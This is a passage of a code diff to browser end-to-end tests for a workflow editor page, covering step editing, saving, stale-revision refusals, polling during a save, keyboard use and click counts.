await b.evaluate(fill(`${form} input[name="title"]`, 'Oops'));
|
||||
await wait(`${titles}[3] === 'Oops'`, 'typed');
|
||||
await b.evaluate(press(`${form} [data-wfg-cancel]`));
|
||||
await wait(`document.querySelector('${form} input[name="title"]')?.value === 'Approve and merge' && ${titles}[3] === 'Approve and merge' && !document.querySelector('[data-wfg-unsaved]')`, 'reset');
|
||||
assert.equal(await b.evaluate(`window.MosaicWorkflows.hasDraft()`), false);
|
||||
});
|
||||
|
||||
test('the workflow title and description change in the panel with no step selected, and save with the workflow', { timeout: 60000 }, async t => {
|
||||
const { b, wait, st } = await setup(t, { path: '#/orgs/acme/workflows/change?project=site' });
|
||||
await wait(`document.querySelector('[data-wfg-meta-form]')`, 'workflow form');
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wfg-meta-form] input[name="title"]').value`), 'Site release');
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wfg-meta-form] [data-wfg-save]').disabled`), true);
|
||||
await b.evaluate(fill('[data-wfg-meta-form] input[name="title"]', 'Site launch'));
|
||||
await b.evaluate(fill('[data-wfg-meta-form] textarea[name="description"]', 'From build to live.'));
|
||||
await wait(`document.querySelector('[data-wfg-unsaved]') && ${saveOn}`, 'pending');
|
||||
await b.evaluate(press('[data-wfg-meta-form] [data-wfg-save]'));
|
||||
await wait(`/Saved change\\./.test(${text('[data-wfg-status]')})`, 'saved');
|
||||
assert.deepEqual(st.writes[0].args, { revision: REV_A, name: 'change', project: 'site', workflow: { title: 'Site launch', description: 'From build to live.', steps: [
|
||||
{ title: 'Build', state: 'in-progress', roles: ['coder'] }, { title: 'Ship', state: 'done', roles: ['human'] }] } });
|
||||
await wait(`document.querySelector('#bus-view h1')?.textContent === 'Site launch'`, 'heading after save');
|
||||
});
|
||||
|
||||
test('add, move, remove and discard change only the page until Save', { timeout: 60000 }, async t => {
|
||||
@@ -370,16 +423,16 @@ test('add, move, remove and discard change only the page until Save', { timeout:
|
||||
// Add after the selected step.
|
||||
await b.evaluate(press('[data-wfg-add]'));
|
||||
await wait(`document.querySelector('[data-wfg-form-title]')?.textContent === 'New step 3'`, 'add form');
|
||||
await b.evaluate(fill('[data-wfg-form] input[name="title"]', 'Test the change'));
|
||||
await b.evaluate(`(()=>{const e=document.querySelector('[data-wfg-form] select[name="state"]');e.value='in-review';e.dispatchEvent(new Event('input',{bubbles:true}));return true})()`);
|
||||
// Apply with no role is refused in words, and the form stays.
|
||||
await b.evaluate(press('[data-wfg-apply]'));
|
||||
await b.evaluate(fill('[data-wfg-add-form] input[name="title"]', 'Test the change'));
|
||||
await b.evaluate(`(()=>{const e=document.querySelector('[data-wfg-add-form] select[name="state"]');e.value='in-review';e.dispatchEvent(new Event('input',{bubbles:true}));return true})()`);
|
||||
// Add step with no role is refused in words, and the form stays.
|
||||
await b.evaluate(press('[data-wfg-add-step]'));
|
||||
await wait(`${text('[data-wfg-why]')} === 'Step 3 needs at least one role.'`, 'no role refused');
|
||||
await b.evaluate(press(role('[data-wfg-form]', 'coder')));
|
||||
await b.evaluate(press('[data-wfg-apply]'));
|
||||
await b.evaluate(press(role('[data-wfg-add-form]', 'coder')));
|
||||
await b.evaluate(press('[data-wfg-add-step]'));
|
||||
await wait(`${boxes}.length === 5 && ${titles}[2] === 'Test the change'`, 'step added');
|
||||
assert.equal(await b.evaluate(`location.hash`), '#/orgs/acme/workflows/change?step=3');
|
||||
assert.equal(await b.evaluate(text('[data-wfg-field="state"]')), 'Review');
|
||||
assert.equal(await b.evaluate(`document.querySelector('${form} select[name="state"]').value`), 'in-review');
|
||||
assert.ok(await b.evaluate(`!!document.querySelector('[data-wfg-unsaved]')`));
|
||||
// Move earlier and later.
|
||||
await b.evaluate(press('[data-wfg-up]'));
|
||||
@@ -399,9 +452,9 @@ test('add, move, remove and discard change only the page until Save', { timeout:
|
||||
await wait(`${text('[data-wfg-add]')} === 'Add a step at the end'`, 'add at end');
|
||||
await b.evaluate(press('[data-wfg-add]'));
|
||||
await wait(`document.querySelector('[data-wfg-form-title]')?.textContent === 'New step 5'`, 'add-at-end form');
|
||||
await b.evaluate(fill('[data-wfg-form] input[name="title"]', 'Announce it'));
|
||||
await b.evaluate(press(role('[data-wfg-form]', 'pm')));
|
||||
await b.evaluate(press('[data-wfg-apply]'));
|
||||
await b.evaluate(fill('[data-wfg-add-form] input[name="title"]', 'Announce it'));
|
||||
await b.evaluate(press(role('[data-wfg-add-form]', 'pm')));
|
||||
await b.evaluate(press('[data-wfg-add-step]'));
|
||||
await wait(`${boxes}.length === 5 && ${titles}[4] === 'Announce it' && /step=5/.test(location.hash)`, 'added at end');
|
||||
// Discard drops all of it; nothing was written.
|
||||
await b.evaluate(press('[data-wfg-discard]'));
|
||||
@@ -412,24 +465,19 @@ test('add, move, remove and discard change only the page until Save', { timeout:
|
||||
|
||||
test('a refused save says why next to Save and keeps the pending change', { timeout: 60000 }, async t => {
|
||||
const { b, wait, st } = await setup(t, { path: '#/orgs/acme/workflows/change?step=1' });
|
||||
await wait(`document.querySelector('[data-wfg-edit]')`, 'step 1');
|
||||
await b.evaluate(press('[data-wfg-edit]'));
|
||||
await wait(`document.querySelector('[data-wfg-form]')`, 'form');
|
||||
await b.evaluate(fill('[data-wfg-form] input[name="title"]', 'Write the brief'));
|
||||
await b.evaluate(press('[data-wfg-apply]'));
|
||||
await wait(`${titles}[0] === 'Write the brief'`, 'pending');
|
||||
// Step 4 still names merge-gate: the page refuses before sending, in the same words as the form editor.
|
||||
await wait(`document.querySelector('${form}')`, 'step 1');
|
||||
await b.evaluate(fill(`${form} input[name="title"]`, 'Write the brief'));
|
||||
await wait(`${titles}[0] === 'Write the brief' && ${saveOn}`, 'pending');
|
||||
// Step 4 still names merge-gate: the page refuses before sending.
|
||||
await b.evaluate(press('[data-wfg-save]'));
|
||||
await wait(`${text('[data-wfg-status]')} === 'Step 4: merge-gate names no current role. Use an organization role, a role template or human.'`, 'unknown role refused');
|
||||
assert.equal(st.writes.length, 0);
|
||||
assert.ok(await b.evaluate(`${titles}[0] === 'Write the brief' && !!document.querySelector('[data-wfg-unsaved]')`));
|
||||
// Fix step 4, then the bus is down.
|
||||
await b.evaluate(pick(4));
|
||||
await wait(`document.querySelector('[data-wfg-detail-title]')?.textContent === 'Approve the merge'`, 'step 4');
|
||||
await b.evaluate(press('[data-wfg-edit]'));
|
||||
await wait(`document.querySelector('[data-wfg-form-title]')?.textContent === 'Edit step 4'`, 'form 4');
|
||||
await b.evaluate(press(role('[data-wfg-form]', 'merge-gate')));
|
||||
await b.evaluate(press('[data-wfg-apply]'));
|
||||
await wait(`document.querySelector('[data-wfg-detail-title]')?.textContent === 'Approve the merge' && document.querySelector('${form}')`, 'step 4');
|
||||
assert.equal(await b.evaluate(`${titles}[0]`), 'Write the brief', 'the step 1 edit went into the workflow');
|
||||
await b.evaluate(press(role(form, 'merge-gate')));
|
||||
await wait(`!document.querySelector('[data-wfg-step="4"] [data-wfg-missing]')`, 'step 4 fixed');
|
||||
st.refuse = 'no-bus-host';
|
||||
await b.evaluate(press('[data-wfg-save]'));
|
||||
@@ -437,10 +485,11 @@ test('a refused save says why next to Save and keeps the pending change', { time
|
||||
assert.match(await b.evaluate(text('[data-wfg-status]')), /Your change is kept/);
|
||||
assert.equal(st.writes.length, 1);
|
||||
assert.equal(st.writes[0].args.revision, REV_A);
|
||||
assert.ok(await b.evaluate(`${titles}[0] === 'Write the brief' && !!document.querySelector('[data-wfg-unsaved]') && !!document.querySelector('[data-wfg-save]')`));
|
||||
assert.deepEqual(st.writes[0].args.workflow.steps[3].roles, ['human']);
|
||||
assert.ok(await b.evaluate(`${titles}[0] === 'Write the brief' && !!document.querySelector('[data-wfg-unsaved]') && ${saveOn}`));
|
||||
assert.equal(st.docs.acme.workflows.change.steps[0].title, 'Write the task', 'nothing written');
|
||||
// The status sits in the bar with Save.
|
||||
assert.ok(await b.evaluate(`!!document.querySelector('[data-wfg-bar] [data-wfg-status]') && !!document.querySelector('[data-wfg-bar] [data-wfg-save]')`));
|
||||
// The status sits in the panel form with its Save.
|
||||
assert.ok(await b.evaluate(`!!document.querySelector('${form} [data-wfg-status]') && !!document.querySelector('${form} [data-wfg-save]')`));
|
||||
// Another writer changes this workflow: the save is refused as stale, the change kept.
|
||||
st.change('acme', doc => { doc.workflows.change.description = 'Changed elsewhere.'; });
|
||||
await b.evaluate(press('[data-wfg-save]'));
|
||||
@@ -453,17 +502,14 @@ test('a refused save says why next to Save and keeps the pending change', { time
|
||||
test('the poll does not draw over a pending change, takes a new revision when only other workflows changed, and says when this one changed', { timeout: 60000 }, async t => {
|
||||
const { b, wait, st, reads } = await setup(t, { path: '#/orgs/acme/workflows/change?project=site&step=2' });
|
||||
// The site project's workflow names only current roles, so a save goes to the bus.
|
||||
await wait(`document.querySelector('[data-wfg-edit]')`, 'step 2');
|
||||
await wait(`document.querySelector('${form}')`, 'step 2');
|
||||
const repaint = async () => { const n = reads.length; await b.evaluate(`document.dispatchEvent(new CustomEvent('mosaic-workspace-render'));true`); await wait(`true`); for (let i = 0; i < 100 && reads.length === n; i++) await new Promise(r => setTimeout(r, 30)); await new Promise(r => setTimeout(r, 150)); };
|
||||
// A form being typed in survives a repaint as typed.
|
||||
await b.evaluate(press('[data-wfg-edit]'));
|
||||
await wait(`document.querySelector('[data-wfg-form]')`, 'form');
|
||||
await b.evaluate(fill('[data-wfg-form] input[name="title"]', 'Ship the release'));
|
||||
await repaint();
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wfg-form] input[name="title"]')?.value`), 'Ship the release');
|
||||
await b.evaluate(press('[data-wfg-apply]'));
|
||||
await wait(`${titles}[1] === 'Ship the release' && document.querySelector('[data-wfg-unsaved]')`, 'pending');
|
||||
// A form being typed in survives a repaint as typed, the same node.
|
||||
await b.evaluate(fill(`${form} input[name="title"]`, 'Ship the release'));
|
||||
await b.evaluate(`window.__form = document.querySelector('${form}'); true`);
|
||||
await repaint();
|
||||
assert.equal(await b.evaluate(`document.querySelector('${form} input[name="title"]')?.value`), 'Ship the release');
|
||||
assert.equal(await b.evaluate(`document.querySelector('${form}') === window.__form`), true);
|
||||
assert.equal(await b.evaluate(`${titles}[1]`), 'Ship the release', 'the poll keeps the pending change');
|
||||
assert.ok(await b.evaluate(`!!document.querySelector('[data-wfg-unsaved]')`));
|
||||
// Another workflow changes in the file: this one is as read, so the page takes the new revision and no warning shows.
|
||||
@@ -471,32 +517,69 @@ test('the poll does not draw over a pending change, takes a new revision when on
|
||||
const fresh = st.revs.acme;
|
||||
await repaint();
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wfg-stale]')`), null);
|
||||
assert.equal(await b.evaluate(`${titles}[1]`), 'Ship the release');
|
||||
assert.equal(await b.evaluate(`document.querySelector('${form} input[name="title"]')?.value`), 'Ship the release');
|
||||
await b.evaluate(press('[data-wfg-save]'));
|
||||
await wait(`/Saved change\\./.test(${text('[data-wfg-status]')})`, 'saved on the new revision');
|
||||
assert.equal(st.writes.at(-1).args.revision, fresh);
|
||||
assert.equal(st.docs.acme.workflows.intake.title, 'Intake, renamed', 'the other workflow is untouched');
|
||||
// Now this workflow changes underneath a pending change: the page says so and offers Discard.
|
||||
await b.evaluate(press('[data-wfg-edit]'));
|
||||
await wait(`document.querySelector('[data-wfg-form]')`, 'form again');
|
||||
await b.evaluate(fill('[data-wfg-form] input[name="title"]', 'Build it'));
|
||||
await b.evaluate(press('[data-wfg-apply]'));
|
||||
await b.evaluate(fill(`${form} input[name="title"]`, 'Build it'));
|
||||
await wait(`${titles}[1] === 'Build it'`, 'pending again');
|
||||
st.change('acme', doc => { doc.projects.site.workflows.change.description = 'Changed elsewhere.'; });
|
||||
// A change elsewhere to the step being typed in: the page says so instead of taking the file silently.
|
||||
st.change('acme', doc => { const w = doc.projects.site.workflows.change; w.description = 'Changed elsewhere.'; w.steps[1].state = 'in-review'; });
|
||||
await repaint();
|
||||
await wait(`!!document.querySelector('[data-wfg-stale]')`, 'stale note');
|
||||
assert.match(await b.evaluate(text('[data-wfg-stale]')), /changed this workflow since the page read it.*Discard to load the current version/);
|
||||
assert.equal(await b.evaluate(`${titles}[1]`), 'Build it');
|
||||
assert.equal(await b.evaluate(`document.querySelector('${form} input[name="title"]')?.value`), 'Build it');
|
||||
assert.ok(await b.evaluate(`!!document.querySelector('[data-wfg-discard]')`));
|
||||
await b.evaluate(press('[data-wfg-discard]'));
|
||||
await wait(`${titles}[1] === 'Ship the release' && !document.querySelector('[data-wfg-stale],[data-wfg-unsaved]')`, 'discarded to current');
|
||||
assert.match(await b.evaluate(`document.querySelector('#bus-view .sub').textContent`), /Changed elsewhere\./);
|
||||
});
|
||||
|
||||
// SP17: changes step `step`'s title on the open graph page, so the change is pending and Save is on.
|
||||
async function retitle(b, wait, step, title) {
|
||||
await wait(`document.querySelector('${form}')?.dataset.wfgStepForm === '${step - 1}'`, 'step form');
|
||||
await b.evaluate(fill(`${form} input[name="title"]`, title));
|
||||
await wait(`${titles}[${step - 1}] === ${JSON.stringify(title)} && ${saveOn}`, 'pending change');
|
||||
}
|
||||
|
||||
test('SP17: a Save in flight holds the poll, and the page shows the saved workflow from the answer', { timeout: 60000 }, async t => {
|
||||
const { b, wait, st, reads } = await setup(t, { path: '#/orgs/acme/workflows/change?project=site&step=2' });
|
||||
await wait(`${boxes}.length === 2 && document.querySelector('[data-wfg-detail]')`, 'site graph');
|
||||
await retitle(b, wait, 2, 'Ship the release');
|
||||
// The write is held, so the Save is in flight.
|
||||
const openWrite = st.hold('write');
|
||||
await b.evaluate(press('[data-wfg-save]'));
|
||||
await wait(`document.querySelector('[data-wfg-save]')?.disabled === true`, 'save in flight');
|
||||
// A poll begins while the Save is in flight: its read takes the file as it was before the write.
|
||||
const openRead = st.hold('read'), n = reads.length;
|
||||
await b.evaluate(`document.dispatchEvent(new CustomEvent('mosaic-workspace-render'));true`);
|
||||
for (let i = 0; i < 200 && reads.length === n; i++) await new Promise(r => setTimeout(r, 20));
|
||||
assert.ok(reads.length > n, 'the poll read began');
|
||||
openWrite();
|
||||
await wait(`/Saved change\\./.test(${text('[data-wfg-status]')})`, 'saved');
|
||||
// The poll's read answers only now, with the file as it was before the Save.
|
||||
openRead();
|
||||
await new Promise(r => setTimeout(r, 800));
|
||||
assert.deepEqual(await b.evaluate(titles), ['Build', 'Ship the release'], 'the step shows the saved title, not the read from before the Save');
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wfg-stale],[data-wfg-unsaved]')`), null);
|
||||
assert.equal(st.writes.length, 1, 'one write');
|
||||
// The page took the revision the write answered: the next Save is not refused as changed elsewhere.
|
||||
const saved = st.revs.acme;
|
||||
await retitle(b, wait, 2, 'Ship it');
|
||||
await b.evaluate(press('[data-wfg-save]'));
|
||||
await wait(`/Saved change\\./.test(${text('[data-wfg-status]')}) && !document.querySelector('[data-wfg-unsaved]')`, 'second save');
|
||||
assert.equal(st.writes.length, 2);
|
||||
assert.equal(st.writes[1].args.revision, saved);
|
||||
assert.equal(st.docs.acme.projects.site.workflows.change.steps[1].title, 'Ship it');
|
||||
});
|
||||
|
||||
test('a reader who cannot write sees no edit controls and one line saying who can', { timeout: 60000 }, async t => {
|
||||
const { b, wait } = await setup(t, { path: '#/orgs/acme/workflows/change?step=2', writable: false });
|
||||
await wait(`document.querySelector('[data-wfg-detail-title]')?.textContent === 'Implement the change'`, 'step 2');
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wfg-bar],[data-wfg-actions],[data-wfg-edit],[data-wfg-add],[data-wfg-save],[data-wfg-delete],[data-wfg-form]')`), null);
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wfg-bar],[data-wfg-actions],[data-wfg-add],[data-wfg-save],[data-wfg-delete],[data-wfg-form],#bus-view input,#bus-view select,#bus-view textarea')`), null);
|
||||
assert.equal(await b.evaluate(text('[data-wfg-field="roles"]')), 'coder', 'a reader sees the roles as text');
|
||||
assert.deepEqual(await b.evaluate(`[...document.querySelectorAll('#bus-view [data-wfg-readonly]')].map(n=>n.textContent)`), ['Only the owner, on a Console started with send, can change workflows.']);
|
||||
assert.equal(await b.evaluate(`document.querySelectorAll('#bus-view button').length`), 0);
|
||||
await b.evaluate(`location.hash = '#/orgs/acme/workflows'`);
|
||||
@@ -560,27 +643,39 @@ test('the keyboard alone opens a step, edits it and saves', { timeout: 60000 },
|
||||
await b.key('Enter');
|
||||
await wait(`document.querySelector('[data-wfg-detail-title]')?.textContent === 'Build' && document.activeElement?.dataset.focusKey === 'wfg-step:1'`, 'Enter opens step 1');
|
||||
const tabTo = async (sel, what) => {
|
||||
for (let i = 0; i < 20; i++) { if (await b.evaluate(`document.activeElement?.matches(${JSON.stringify(sel)}) ?? false`)) return; await b.key('Tab'); }
|
||||
for (let i = 0; i < 30; i++) { if (await b.evaluate(`document.activeElement?.matches(${JSON.stringify(sel)}) ?? false`)) return; await b.key('Tab'); }
|
||||
throw new Error(`Tab never reached ${what}`);
|
||||
};
|
||||
await tabTo('[data-wfg-edit]', 'Edit step');
|
||||
await b.key('Enter');
|
||||
await wait(`document.querySelector('[data-wfg-form-title]')?.textContent === 'Edit step 1' && document.activeElement?.dataset.focusKey === 'wfg-f-title'`, 'form with focus on the title');
|
||||
await tabTo(`${form} input[name="title"]`, 'the step title');
|
||||
// Tab selects the field's text; the right arrow puts the caret after it (the harness sends no End key).
|
||||
await b.key('ArrowRight');
|
||||
await b.call('Input.insertText', { text: ' now' });
|
||||
await tabTo(`[data-wfg-form] input[name="role"][value="reviewer"]`, 'the reviewer box');
|
||||
await tabTo(`${form} input[name="role"][value="reviewer"]`, 'the reviewer box');
|
||||
await b.key(' ', 'Space');
|
||||
await tabTo('[data-wfg-apply]', 'Apply');
|
||||
await b.key('Enter');
|
||||
await wait(`${titles}[0] === 'Build now' && document.activeElement?.dataset.focusKey === 'wfg-save'`, 'applied, focus on Save');
|
||||
await tabTo(`${form} [data-wfg-save]`, 'Save');
|
||||
await wait(`${titles}[0] === 'Build now'`, 'typed into the graph');
|
||||
await b.key('Enter');
|
||||
await wait(`/Saved change\\./.test(${text('[data-wfg-status]')})`, 'saved');
|
||||
assert.deepEqual(st.writes[0].args, { revision: REV_A, name: 'change', project: 'site', workflow: { title: 'Site release', steps: [
|
||||
{ title: 'Build now', state: 'in-progress', roles: ['coder', 'reviewer'] }, { title: 'Ship', state: 'done', roles: ['human'] }] } });
|
||||
// Enter in the title field is Save too, and Escape resets a typed step.
|
||||
await wait(`document.querySelector('${form} input[name="title"]')?.value === 'Build now'`, 'form after save');
|
||||
await b.evaluate(`(()=>{const e=document.querySelector('${form} input[name="title"]');e.focus();e.setSelectionRange(e.value.length,e.value.length);return true})()`);
|
||||
await b.call('Input.insertText', { text: '!' });
|
||||
await wait(`${titles}[0] === 'Build now!'`, 'typed');
|
||||
await b.key('Escape');
|
||||
await wait(`document.querySelector('${form} input[name="title"]')?.value === 'Build now' && !document.querySelector('[data-wfg-unsaved]')`, 'Escape reset the step');
|
||||
await b.evaluate(`(()=>{const e=document.querySelector('${form} input[name="title"]');e.focus();e.setSelectionRange(e.value.length,e.value.length);return true})()`);
|
||||
await b.call('Input.insertText', { text: ', fast' });
|
||||
await b.key('Enter');
|
||||
await wait(`${titles}[0] === 'Build now, fast' && !document.querySelector('[data-wfg-unsaved]')`, 'saved by Enter');
|
||||
assert.equal(st.writes.length, 2);
|
||||
assert.equal(st.writes[1].args.workflow.steps[0].title, 'Build now, fast');
|
||||
});
|
||||
|
||||
test('switching organization with a pending workflow change asks first, through the existing draft guard', { timeout: 60000 }, async t => {
|
||||
const { b, wait, st } = await setup(t, { path: '#/orgs/acme/workflows/change?project=site&step=1' });
|
||||
await wait(`document.querySelector('[data-wfg-edit]') && document.querySelector('#breadcrumbs [data-crumb-org]')`, 'step 1');
|
||||
await wait(`document.querySelector('${form}') && document.querySelector('#breadcrumbs [data-crumb-org]')`, 'step 1');
|
||||
await b.evaluate(press('[data-wfg-remove]'));
|
||||
await wait(`${boxes}.length === 1 && document.querySelector('[data-wfg-unsaved]')`, 'pending removal');
|
||||
assert.equal(await b.evaluate(`window.MosaicWorkflows.hasDraft()`), true);
|
||||
@@ -596,27 +691,42 @@ test('switching organization with a pending workflow change asks first, through
|
||||
assert.equal(st.writes.length, 0);
|
||||
});
|
||||
|
||||
test('Save with a step form holding edits not applied refuses in words and sends nothing; after Apply it sends them', { timeout: 60000 }, async t => {
|
||||
const { b, wait, st } = await setup(t, { path: '#/orgs/acme/workflows/change?project=site&step=2' });
|
||||
await wait(`document.querySelector('[data-wfg-up]')`, 'step 2');
|
||||
// One change pending, so Save shows; then a step form is opened and typed in, not applied.
|
||||
await b.evaluate(press('[data-wfg-up]'));
|
||||
await wait(`${titles}[0] === 'Ship' && document.querySelector('[data-wfg-save]')`, 'moved');
|
||||
await b.evaluate(press('[data-wfg-edit]'));
|
||||
await wait(`document.querySelector('[data-wfg-form]')`, 'form');
|
||||
await b.evaluate(fill('[data-wfg-form] input[name="title"]', 'Ship the release'));
|
||||
await b.evaluate(press('[data-wfg-save]'));
|
||||
await wait(`/Apply or cancel the step first/.test(${text('[data-wfg-status]')})`, 'save refused');
|
||||
assert.equal(await b.evaluate(text('[data-wfg-status]')), 'Not saved: step 1 has edits not applied. Apply or cancel the step first.');
|
||||
test('a typed step alone counts as a pending change for the switch guard', { timeout: 60000 }, async t => {
|
||||
const { b, wait, st } = await setup(t, { path: '#/orgs/acme/workflows/change?project=site&step=1' });
|
||||
await wait(`document.querySelector('${form}') && document.querySelector('#breadcrumbs [data-crumb-org]')`, 'step 1');
|
||||
await b.evaluate(fill(`${form} input[name="title"]`, 'Build it'));
|
||||
await wait(`window.MosaicWorkflows.hasDraft()`, 'typed is a draft');
|
||||
await b.evaluate(`location.hash = '#/orgs/bare/workflows'`);
|
||||
await wait(`document.querySelector('dialog[aria-label="Unsaved draft"][open]')`, 'guard dialog');
|
||||
await b.evaluate(press('dialog [data-stay]'));
|
||||
await wait(`!document.querySelector('dialog[open]') && document.querySelector('${form} input[name="title"]')?.value === 'Build it'`, 'stayed with the typed title');
|
||||
assert.equal(st.writes.length, 0);
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wfg-form] input[name="title"]')?.value`), 'Ship the release', 'the typed title stays');
|
||||
await b.evaluate(press('[data-wfg-apply]'));
|
||||
await wait(`${titles}[0] === 'Ship the release'`, 'applied');
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wfg-status]')`), null, 'Apply clears the refusal');
|
||||
});
|
||||
|
||||
test('a step edit goes into the workflow when another step is opened or a step moves, and Save sends it; one the save check refuses stays in its form', { timeout: 60000 }, async t => {
|
||||
const { b, wait, st } = await setup(t, { path: '#/orgs/acme/workflows/change?project=site&step=2' });
|
||||
await wait(`document.querySelector('[data-wfg-up]') && document.querySelector('${form}')`, 'step 2');
|
||||
// A typed title, then Move earlier: the step moves with its new title.
|
||||
await b.evaluate(fill(`${form} input[name="title"]`, 'Ship the release'));
|
||||
await b.evaluate(press('[data-wfg-up]'));
|
||||
await wait(`${titles}[0] === 'Ship the release' && /step=1/.test(location.hash) && ${saveOn}`, 'moved with the edit');
|
||||
assert.equal(await b.evaluate(`document.querySelector('${form} input[name="title"]').value`), 'Ship the release');
|
||||
// An edit the save check refuses (no role left) stays: opening another step does not happen, and the form says why.
|
||||
await b.evaluate(press(role(form, 'human')));
|
||||
await b.evaluate(pick(2));
|
||||
await wait(`${text('[data-wfg-why]')} === 'Step 1 needs at least one role.'`, 'refused in the form');
|
||||
assert.match(await b.evaluate(`location.hash`), /step=1/);
|
||||
assert.equal(await b.evaluate(`document.activeElement?.dataset.focusKey`), 'wfg-f-title');
|
||||
// Save says the same and sends nothing.
|
||||
await b.evaluate(press('[data-wfg-save]'));
|
||||
await wait(`${text('[data-wfg-status]')} === 'Not saved: Step 1 needs at least one role.'`, 'save refused');
|
||||
assert.equal(st.writes.length, 0);
|
||||
assert.equal(await b.evaluate(`document.querySelector('${form} input[name="title"]')?.value`), 'Ship the release', 'the typed title stays');
|
||||
await b.evaluate(press(role(form, 'coder')));
|
||||
await b.evaluate(press('[data-wfg-save]'));
|
||||
await wait(`/Saved change\\./.test(${text('[data-wfg-status]')})`, 'saved');
|
||||
assert.equal(st.writes.length, 1);
|
||||
assert.deepEqual(st.writes[0].args.workflow.steps.map(s => s.title), ['Ship the release', 'Build']);
|
||||
assert.deepEqual(st.writes[0].args.workflow.steps, [{ title: 'Ship the release', state: 'done', roles: ['coder'] }, { title: 'Build', state: 'in-progress', roles: ['coder'] }]);
|
||||
});
|
||||
|
||||
test('Delete on a view another writer has changed is refused, not deleted over', { timeout: 60000 }, async t => {
|
||||
@@ -624,7 +734,8 @@ test('Delete on a view another writer has changed is refused, not deleted over',
|
||||
await wait(`document.querySelector('[data-wfg-remove]')`, 'step 1');
|
||||
await b.evaluate(press('[data-wfg-remove]'));
|
||||
await wait(`${boxes}.length === 1 && document.querySelector('[data-wfg-unsaved]')`, 'pending removal');
|
||||
st.change('acme', doc => { doc.projects.site.workflows.change.description = 'Changed elsewhere.'; });
|
||||
// A change elsewhere to the step being typed in: the page says so instead of taking the file silently.
|
||||
st.change('acme', doc => { const w = doc.projects.site.workflows.change; w.description = 'Changed elsewhere.'; w.steps[1].state = 'in-review'; });
|
||||
const n = reads.length;
|
||||
await b.evaluate(`document.dispatchEvent(new CustomEvent('mosaic-workspace-render'));true`);
|
||||
await wait(`!!document.querySelector('[data-wfg-stale]')`, 'stale note');
|
||||
@@ -660,10 +771,269 @@ test('a failed read says a pending change is kept, and it comes back when the re
|
||||
st.failRead = true;
|
||||
await b.evaluate(`document.dispatchEvent(new CustomEvent('mosaic-workspace-render'));true`);
|
||||
await wait(`!!document.querySelector('[data-wfg-error]') && !!document.querySelector('[data-wfg-held]')`, 'error with kept note');
|
||||
assert.equal(await b.evaluate(text('[data-wfg-held]')), 'Unsaved change to change is kept on this page. It comes back when the workflows can be read.');
|
||||
// SP17: the page keeps drawing the last read with the change on it, and says the read failed.
|
||||
assert.equal(await b.evaluate(text('[data-wfg-error]')), 'The last workflows read failed: The organization file could not be read. The page shows the read before it.');
|
||||
assert.equal(await b.evaluate(text('[data-wfg-held]')), 'Unsaved change to change is kept on this page.');
|
||||
assert.equal(await b.evaluate(`${boxes}.length`), 1, 'the pending removal is still drawn');
|
||||
assert.equal(await b.evaluate(`window.MosaicWorkflows.hasDraft()`), true);
|
||||
st.failRead = false;
|
||||
await b.evaluate(`document.dispatchEvent(new CustomEvent('mosaic-workspace-render'));true`);
|
||||
await wait(`${boxes}.length === 1 && !!document.querySelector('[data-wfg-unsaved]') && !document.querySelector('[data-wfg-held]')`, 'back');
|
||||
await wait(`${boxes}.length === 1 && !!document.querySelector('[data-wfg-unsaved]') && !document.querySelector('[data-wfg-held],[data-wfg-error]')`, 'back');
|
||||
assert.equal(st.writes.length, 0);
|
||||
});
|
||||
|
||||
// SP17 item 1: changing one field of one step of a saved workflow and saving it, from another organization's
|
||||
// page: the organization in the sidebar, the step on its Workflows card, Save. Typing is not a click. Each
|
||||
// click is a real pointer press at the element's centre, counted by the page. At 390 the sidebar sits behind
|
||||
// the menu button, which is one more click; from the organization's own page it is two clicks at any width.
|
||||
test('SP17: one field of one step changes and saves in three clicks', { timeout: 90000 }, async t => {
|
||||
const cases = [
|
||||
{ name: '1440 from another organization', viewport: [1440, 900], from: 'bare', want: [/Acme Studio/, 'Ship', 'Save'] },
|
||||
{ name: '390 from another organization', viewport: [390, 844], from: 'bare', want: ['Open menu', /Acme Studio/, 'Ship', 'Save'] },
|
||||
{ name: '390 from the organization page', viewport: [390, 844], from: 'acme', want: ['Ship', 'Save'] },
|
||||
];
|
||||
for (const c of cases) {
|
||||
await t.test(c.name, async t2 => {
|
||||
const { b, wait, st } = await setup(t2, { path: `#/orgs/${c.from}/organization`, viewport: c.viewport });
|
||||
await wait(`document.querySelector('[data-org-dashboard] [data-wfg-card]')`, 'organization page');
|
||||
await b.evaluate(`window.__clicks = []; addEventListener('click', e => { if (e.isTrusted) { const a = e.target.closest('a,button'); __clicks.push(a?.getAttribute('aria-label') === 'Open menu' ? 'Open menu' : a?.textContent.trim() ?? e.target.tagName); } }, true); true`);
|
||||
const click = async (sel, what) => {
|
||||
await wait(`(()=>{const e=document.querySelector(${JSON.stringify(sel)});return !!e && !e.disabled && e.getClientRects().length>0})()`, what);
|
||||
const { x, y } = await b.evaluate(`(()=>{const e=document.querySelector(${JSON.stringify(sel)});e.scrollIntoView({block:'center'});const r=e.getBoundingClientRect();return {x:r.left+r.width/2,y:r.top+r.height/2}})()`);
|
||||
// What is under the pointer is the element meant, not something drawn over it.
|
||||
assert.ok(await b.evaluate(`(()=>{const e=document.querySelector(${JSON.stringify(sel)}),h=document.elementFromPoint(${x},${y});return !!h&&(e===h||e.contains(h))})()`), `${what} is under the pointer`);
|
||||
for (const type of ['mousePressed', 'mouseReleased']) await b.call('Input.dispatchMouseEvent', { type, x, y, button: 'left', clickCount: 1 });
|
||||
};
|
||||
if (c.from !== 'acme') {
|
||||
if (c.viewport[0] === 390) {
|
||||
await click('#nav-open', 'the menu button');
|
||||
await wait(`document.body.classList.contains('nav-open')`, 'menu open');
|
||||
await new Promise(r => setTimeout(r, 400));
|
||||
}
|
||||
await click('[data-workspace-org="acme"] a', 'Acme in the sidebar');
|
||||
await wait(`location.hash === '#/orgs/acme/organization' && document.querySelector('[data-org-dashboard] [data-wfg-card] [data-wfg-card-step]') && !document.body.classList.contains('nav-open')`, 'acme page with its card');
|
||||
await new Promise(r => setTimeout(r, 400));
|
||||
}
|
||||
